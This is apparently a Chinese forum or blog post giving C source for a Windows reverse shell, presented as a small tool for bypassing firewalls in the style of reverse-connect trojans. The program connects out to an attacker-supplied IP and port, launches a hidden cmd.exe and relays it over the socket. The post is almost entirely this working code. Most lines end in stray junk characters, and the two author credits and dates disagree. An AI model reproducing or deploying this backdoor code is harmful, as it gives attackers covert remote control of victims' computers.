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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0:&ZnE}##  
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/* ============================== ; |L<:x/  
Rebound port in Windows NT ~ttY(w CV  
By wind,2006/7 V-!"%fO.s  
===============================*/ >^$2f&z  
#include LO:fJ{ -  
#include eKN$jlg  
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#pragma comment(lib,"wsock32.lib") ]XA4;7  
M2@b1;  
void OutputShell(); W `z 0"  
SOCKET sClient; :q#K} /  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xd-XWXc  
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void main(int argc,char **argv) BVw Wj-,  
{ 2+o |A  
WSADATA stWsaData; &|Pu-A"5~  
int nRet; Xm1[V&  
SOCKADDR_IN stSaiClient,stSaiServer; k(%QIJH  
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if(argc != 3) l4y{m#/  
{ pS[KBQ"F  
printf("Useage:\n\rRebound DestIP DestPort\n"); |o<8}Nja6  
return; %Sk@GNI_  
} v4Ga0]VN$8  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pw0Ci  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aqU' T  
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stSaiClient.sin_family = AF_INET; &~e$:8 +  
stSaiClient.sin_port = htons(0); 27F~(!n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J;$N{"M  
wsU V;S*X%  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) " =] -%B  
{ QK`i%TXJ  
printf("Bind Socket Failed!\n"); Cx_Q: 6T  
return; !0,Mp@ j/  
} o4b~4 h{%  
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stSaiServer.sin_family = AF_INET; nqVZqX@oE  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~z5R{;Nbz|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8>WVodv  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D4JLtB'=  
{ 9#d+RT  
printf("Connect Error!"); VOTv?Vf  
return; Wu6<\^A  
} A'&n5)tb  
OutputShell(); U-k VNBs  
} Q7X3X,  
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void OutputShell() @4$\ 5 %j  
{ )~6zYJ2  
char szBuff[1024]; {nT^t Aha  
SECURITY_ATTRIBUTES stSecurityAttributes; _ee dBpV  
OSVERSIONINFO stOsversionInfo; 7Q w|!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6x)$Dl  
STARTUPINFO stStartupInfo; CSPKP#,B0[  
char *szShell; F}GPZ=T;  
PROCESS_INFORMATION stProcessInformation; sbj(|1,ac  
unsigned long lBytesRead; CzCQFqXI  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =qy=-j]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {O<l[|Ip  
stSecurityAttributes.lpSecurityDescriptor = 0; C:8_m1Y{  
stSecurityAttributes.bInheritHandle = TRUE; c#IYFTz  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Cxod[$8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K$K^=> I"o  
@H>@[+S#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K_?W\Yg   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >odbOi+X  
stStartupInfo.wShowWindow = SW_HIDE; me6OPc;:!  
stStartupInfo.hStdInput = hReadPipe; )}vNOE?X~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ps .]N   
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GetVersionEx(&stOsversionInfo); v[plT2"s  
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switch(stOsversionInfo.dwPlatformId) {j5e9pg1L|  
{ @~c6qh  
case 1: ]ul$*  
szShell = "command.com"; x_Jwd^`t!  
break; 1i:|3PA~  
default: %CUGm$nH  
szShell = "cmd.exe"; Uy ?  
break; ;w|b0V6  
} hQ6a~?f  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mbnV[  
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send(sClient,szMsg,77,0); DypFl M*  
while(1) Y)N-V ]5L  
{ kr$ b^"Ku  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pj4!:{.;  
if(lBytesRead) \Y6WSj?E  
{ 9% l%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V-n&oCS+f  
send(sClient,szBuff,lBytesRead,0); '>$]{vQ3  
} E0%~! b  
else s&\I=J.  
{ .q&'&~!_  
lBytesRead=recv(sClient,szBuff,1024,0); \AL f$88>@  
if(lBytesRead<=0) break; !RyO\>:q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N]KxAttt  
} /%_OW@ ?  
} '13ZX:  
) ri}nL.  
return; p.+ho~sC,.  
}
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